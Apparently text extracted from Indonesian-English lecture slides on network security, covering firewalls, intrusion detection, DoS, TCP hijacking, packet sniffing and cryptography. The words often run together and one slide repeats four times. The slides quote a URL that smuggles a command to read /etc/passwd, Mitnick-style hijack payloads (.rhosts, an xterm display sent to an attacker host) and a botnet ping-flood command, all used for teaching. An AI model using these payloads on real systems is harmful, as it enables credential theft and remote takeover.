NETWORK SECURITY

1. NETWORK SECURITY Indra Priyandono

2. A Brief History of the World

3. Overview • Apaitu security? • Kenapakitaperlu security? • Apasaja yang rentan? • Serangankeamananumumdanpenanggulangan • Firewalls & Intrusion Detection Systems • Denial of Service Attacks • TCP Attacks • Packet Sniffing • Social Problems

4. Apakahitu“Security” • Dictionary.com : • 1. Freedom from risk or danger; safety. • 2. Freedom from doubt, anxiety, or fear; confidence. • 3. Something that gives or assures safety, as: • 1. A group or department of private guards: Call building security if a visitor acts suspicious. • 2. Measures adopted by a government to prevent espionage, sabotage, or attack. • 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc.

5. Apakahitu“Security” • Dictionary.com says: • 1. Freedom from risk or danger; safety. • 2. Freedom from doubt, anxiety, or fear; confidence. • 3. Something that gives or assures safety, as: • 1. A group or department of private guards: Call building security if a visitor acts suspicious. • 2. Measures adopted by a government to prevent espionage, sabotage, or attack. • 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc.

6. Apakahitu“Security” • Dictionary.com says: • 1. Freedom from risk or danger; safety. • 2. Freedom from doubt, anxiety, or fear; confidence. • 3. Something that gives or assures safety, as: • 1. A group or department of private guards: Call building security if a visitor acts suspicious. • 2. Measures adopted by a government to prevent espionage, sabotage, or attack. • 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc.

7. Apakahitu“Security” • Dictionary.com says: • 1. Freedom from risk or danger; safety. • 2. Freedom from doubt, anxiety, or fear; confidence. • 3. Something that gives or assures safety, as: • 1. A group or department of private guards: Call building security if a visitor acts suspicious. • 2. Measures adopted by a government to prevent espionage, sabotage, or attack. • 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc.

8. Kenapa Kita Perlu Security? • Melindungiinformasipentingsementaramasihmemungkinkanakseskemereka yang membutuhkannya • Trade secrets, medical records, dll. • Menyediakanotentikasidankontrolaksesuntuksumberdaya • Ex: AFS • Jaminanketersediaansumberdaya • Ex: 5 9’s (99.999% reliability)

9. Apasaja yang Rentan? • Lembagakeuangandan bank • Penyedialayanan Internet • Perusahaan farmasi • Instansipemerintahdanpertahanan • Kontraktorkeberbagaiinstansipemerintah • Perusahaan multinasional • ANYONE ON THE NETWORK!

10. SeranganKeamananUmumdanPenanggulangan • Menemukanjalankejaringan • Firewalls • Pemanfaatan software bug, buffer overflows • Intrusion Detection Systems • Denial of Service • Ingress filtering, IDS

11. SeranganKeamananUmumdanPenanggulangan • TCP hijacking • IPSec • Packet sniffing • Encryption (SSH, SSL, HTTPS) • Social problems • Education

12. Firewalls • Masalahdasar - banyakaplikasijaringandanprotokolmemilikimasalahkeamanan yang tetapdariwaktukewaktu • Menjaga agar host selaluaman • Solution • Administrator membatasiakseske host denganmenggunakan firewall • Firewall tetap up-to-date oleh

13. Firewalls • Firewall adalahsepertisebuahkastildenganjembatantarik • Hanyasatutitikakseskejaringan • Inibisabaikatauburuk • Bisa hardware atau software • Ex. beberapa routers dengenfungsi firewall • ipfw, ipchains, pfpada Unix systems, Windows XP dan Mac OS X mempunyai firewalls bult in

14. Internet DMZ Web server, email server, web proxy, etc Firewall Firewall Intranet Firewalls

15. Firewalls • Digunakanuntukpaket filter didasarkanpadakombinasidarifitur • Inidisebut packet filtering firewall • Ex. Drop paket dengan port tujuan 23 (Telnet) • Dapatmenggunakankombinasidari IP/UDP/TCP header informasi • manual ipfwpadaunixutnuklebih detail

16. Firewalls • Berikutadalahkomputer default Windows XP terlihatseperti: • 135/tcp open loc-srv • 139/tcp open netbios-ssn • 445/tcp open microsoft-ds • 1025/tcp open NFS-or-IIS • 3389/tcp open ms-term-serv • 5000/tcp open UPnP • Mungkinperlubeberapalayanantsb, ataukitatidakdapatmengontrolsemuamesinpadajaringan

17. Firewalls • Aturan firewall terlihatsepertiapa? • Tergantungpada firewall digunakan • Example: ipfw • /sbin/ipfw add deny tcp from cracker.evil.org to wolf.tambov.su telnet • Contoh lain: WinXP & Mac OS X mempunyai built in firewalls • GUI yang berbeda • Macamkompleksitasnya

18. Intrusion Detection • Digunakanuntukmemantau "aktivitas yang mencurigakan" padajaringan • Dapatmelindungiterhadapeksploitasiperangkatlunak yang diketahui, seperti buffer overflows • Open Source IDS: Snort, www.snort.org

19. Intrusion Detection • Menggunakan “intrusion signatures” • Mengenali patterns of behavior • Ping sweeps, port scanning, web server indexing, OS fingerprinting, DoS attempts, etc. • Example • IRIX vulnerability pada webdist.cgi • “/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd” • Namun, IDS hanyabergunauntukmengetahuijikaadarencanakemungkinanserangan

20. Minor Detour… • Say we got the /etc/passwd file from the IRIX server • What can we do with it?

21. Dictionary Attack • We can run a dictionary attack on the passwords • The passwords in /etc/passwd are encrypted with the crypt(3) function (one-way hash) • Can take a dictionary of words, crypt() them all, and compare with the hashed passwords • This is why your passwords should be meaningless random junk! • For example, “sdfo839f” is a good password • That is not my andrew password • Please don’t try it either

22. Denial of Service • Tujuan: Membuatlayananjaringantidakdapatdigunakan, biasanyadenganmelakukan overloading server ataujaringan BerbagaijenisseranganDoS • SYN flooding • SMURF • Distributed attacks

23. Denial of Service Normal 3-way Handshake SYN: PC Pengguna: “Hallo” Pengguna Server ACK-SYN: Server: “Anda ingin berkomunikasi?” ACK: PC Pengguna “Ya” DoS Handshake SYN: PC Pengguna mengirim “hallo” berulang-ulang Pengguna Server ACK-SYN: Server merespons “Komunikasi?” berulang-ulang No Response: PC Pengguna menunggu sampai server “timeout”

24. Attacker Utama Attacker 1 Attacker 2 Attacker 3 Attacker 4 Attacker 5 Attacker 6 Attacker 7 Attacker 8 Server Attacker utama melancarkan SYN floods dari beberapa tempat

25. Denial of Service

26. Denial of Service • Ping broadcast (smurf) • MenggunakanIPspoofing (mengubah no IP dari request) • Respondari ping dialamatkankekomputer yang IP-nyadispoof • Akibatnyakomputertersbutakanbanyakmenerimapaket • Terjadipemborosan bandwidth • DapatmengakibatkanDoS Attack

27. Denial of Service

28. Denial of Service • Distributed Denial of Service • Sama seperti teknik DoS biasa, tetapi pada skala yang jauh lebih besar • Example: Sub7Server Trojan dan IRC bots • Menginfeksisejumlahbesarmesindengan program "zombie" • Program Zombie log in ke IRC danmenungguperintah Example: • Perintah Bot: !p4 207.71.92.193 • hasil: runs ping.exe 207.71.92.193 -l 65500 -n 10000 • mengirim 10,000 64k packets ke host (655MB!)

29. Denial of Service • Mini Case Study – CodeRed • July 19, 2001: over 359,000 computers infected with Code-Red in less than 14 hours • Used a recently known buffer exploit in Microsoft IIS • Damages estimated in excess of $2.6 billion

30. Denial of Service • Why is this under the Denial of Service category? • CodeRed launched a DDOS attack against www1.whitehouse.gov from the 20th to the 28th of every month! • Spent the rest of its time infecting other hosts

31. Denial of Service • How can we protect ourselves? • Ingress filtering • If the source IP of a packet comes in on an interface which does not have a route to that packet, then drop it • RFC 2267 has more information about this • Stay on top of CERT advisories and the latest security patches • A fix for the IIS buffer overflow was released sixteen days before CodeRed had been deployed!

32. TCP Attacks • Recall how IP works… • End hosts create IP packets and routers process them purely based on destination address alone • Problem: End hosts may lie about other fields which do not affect delivery • Source address – host may trick destination into believing that the packet is from a trusted source • Especially applications which use IP addresses as a simple authentication method • Solution – use better authentication methods

33. TCP Attacks • TCP connections have associated state • Starting sequence numbers, port numbers • Problem – what if an attacker learns these values? • Port numbers are sometimes well known to begin with (ex. HTTP uses port 80) • Sequence numbers are sometimes chosen in very predictable ways

34. TCP Attacks • If an attacker learns the associated TCP state for the connection, then the connection can be hijacked! • Attacker can insert malicious data into the TCP stream, and the recipient will believe it came from the original source • Ex. Instead of downloading and running new program, you download a virus and execute it

35. TCP Attacks • Say hello to Alice, Bob and Mr. Big Ears

36. TCP Attacks • Alice and Bob have an established TCP connection

37. TCP Attacks • Mr. Big Ears lies on the path between Alice and Bob on the network • He can intercept all of their packets

38. TCP Attacks • First, Mr. Big Ears must drop all of Alice’s packets since they must not be delivered to Bob (why?) Packets The Void

39. TCP Attacks • Then, Mr. Big Ears sends his malicious packet with the next ISN (sniffed from the network) ISN, SRC=Alice

40. TCP Attacks • What if Mr. Big Ears is unable to sniff the packets between Alice and Bob? • Can just DoS Alice instead of dropping her packets • Can just send guesses of what the ISN is until it is accepted • How do you know when the ISN is accepted? • Mitnick: payload is “add self to .rhosts” • Or, “xterm -display MrBigEars:0”

41. TCP Attacks • Why are these types of TCP attacks so dangerous? Web server Trusting web client Malicious user

42. TCP Attacks • How do we prevent this? • IPSec • Provides source authentication, so Mr. Big Ears cannot pretend to be Alice • Encrypts data before transport, so Mr. Big Ears cannot talk to Bob without knowing what the session key is

43. Packet Sniffing • Ingatbagaimana Ethernet bekerja ... • Ketikaseseoranginginmengirimpaketketujuan... • Merekamenempatkan bit padakabeldengantujuanalamat MAC ... • Dan ingatbahwa host lain mendengarkanpadakawatuntukmendeteksicollisions ... • Initidakbisalebihmudahuntukmencaritahudata apa yang sedangdikirimmelaluijaringan!

44. Packet Sniffing • Inibekerjauntuk wireless juga! • Bahkan, iabekerjauntuksetiapmedia broadcast-based

45. Packet Sniffing • Data jenisapayang bisakitadapatkan? • Ditanyakancara lain, apajenisinformasiakansangatbergunauntukpenggunaberbahaya? • Jawaban: Apa pun dalamteksbiasa (plaintext) • Paling popular adalah Password

46. Packet Sniffing • Bagaimana kita bisa melindungi diri kita sendiri? • SSH, bukan Telnet • Banyak orang menggunakan Telnet danmengirim password merekadenganjelas (menggunakan Putty sebagaigantinya!) • HTTP over SSL • Terutama ketika melakukan pembelian dengan kartu kredit! • SFTP, bukan FTP • KecualiAndabenar-benartidakpedulitentang password ataudata • IPSec • Menyediakankerahasiaanpada network-layer

47. Kriptografi

48. Tujuan Ada empattujuanmendasardariilmukriptografiini yang jugamerupakanaspekkeamananinformasiyaitu : • Kerahasiaan, adalahlayanan yang digunakanuntukmenjagaisidariinformasidarisiapapunkecuali yang memilikiotoritasataukuncirahasiauntukmembuka/mengupasinformasi yang telahdisandi. • Integritas data, adalahberhubungandenganpenjagaandariperubahan data secaratidaksah. Untukmenjagaintegritas data, sistemharusmemilikikemampuanuntukmendeteksimanipulasi data olehpihak-pihak yang tidakberhak, antara lain penyisipan, penghapusan, danpensubsitusian data lain kedalam data yang sebenarnya.

49. Autentikasi, adalahberhubungandenganidentifikasi/pengenalan, baiksecarakesatuansistemmaupuninformasiitusendiri. Duapihak yang salingberkomunikasiharussalingmemperkenalkandiri. Informasi yang dikirimkanmelaluikanalharusdiautentikasikeaslian, isidatanya, waktupengiriman, dan lain-lain. • Non-repudiasi., ataunirpenyangkalanadalahusahauntukmencegahterjadinyapenyangkalanterhadappengiriman/terciptanyasuatuinformasioleh yang mengirimkan/membuat.

50. AlgoritmaSandi • Algoritmasandiadalahalgoritma yang berfungsiuntukmelakukantujuankriptografis • Algoritmatersebutharusmemilikikekuatanuntukmelakukan (dikemukakanoleh Shannon): • konfusi/pembingungan (confusion), dariteksterangsehinggasulituntukdirekonstruksikansecaralangsungtanpamenggunakanalgoritmadekripsinya • difusi/peleburan (difusion), dariteksterangsehinggakarakteristikdariteksterangtersebuthilang.